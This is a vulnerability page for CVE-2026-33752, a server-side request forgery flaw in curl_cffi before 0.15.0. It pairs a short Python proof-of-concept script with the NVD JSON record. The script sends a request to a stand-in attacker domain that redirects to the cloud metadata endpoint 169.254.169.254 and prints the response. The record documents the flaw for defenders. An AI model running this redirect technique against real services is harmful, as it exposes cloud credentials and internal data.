CVE-2026-33752

import sys from curl_cffi import requests # Exploit concept for CVE-2026-33752 # This script demonstrates how an attacker can force the server to request internal resources. def exploit_ssrf(target_url): try: # The attacker controls 'target_url'. # It should respond with a redirect (302) to an internal IP (e.g., metadata service). print(f"[+] Sending request to malicious URL: {target_url}") # curl_cffi < 0.15.0 follows redirects to internal IPs automatically # and uses TLS impersonation which might bypass WAFs. response = requests.get(target_url) # If the internal service returns content, it will be exposed here. print("[+] Response received:") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: A controlled URL that redirects to http://169.254.169.254/latest/meta-data/ malicious_redirect_url = "http://attacker-controlled-domain.com/redirect_to_aws_metadata" exploit_ssrf(malicious_redirect_url)

{"cve": {"id": "CVE-2026-33752", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:34.140", "lastModified": "2026-04-09T18:10:21.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.15.0", "matchCriteriaId": "5FEECC54-A1DD-4B1C-B8AF-D7DA6004B6C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta1:*:*:*:python:*:*", "matchCriteriaId": "3E631217-0FE4-4470-B758-2869B22A9331"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta2:*:*:*:python:*:*", "matchCriteriaId": "AFB5A6A0-1EBE-4059-8105-C96CDAB06EE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta3:*:*:*:python:*:*", "matchCriteriaId": "99E5BB3A-55C5-40C5-9952-C2F9DAB5B0B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:lexiforest:curl_cffi:0.15.0:beta4:*:*:*:python:*:*", "matchCriteriaId": "79ECE465-3520-45F5-B537-98A85A186CF0"}]}]}], "references": [{"url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}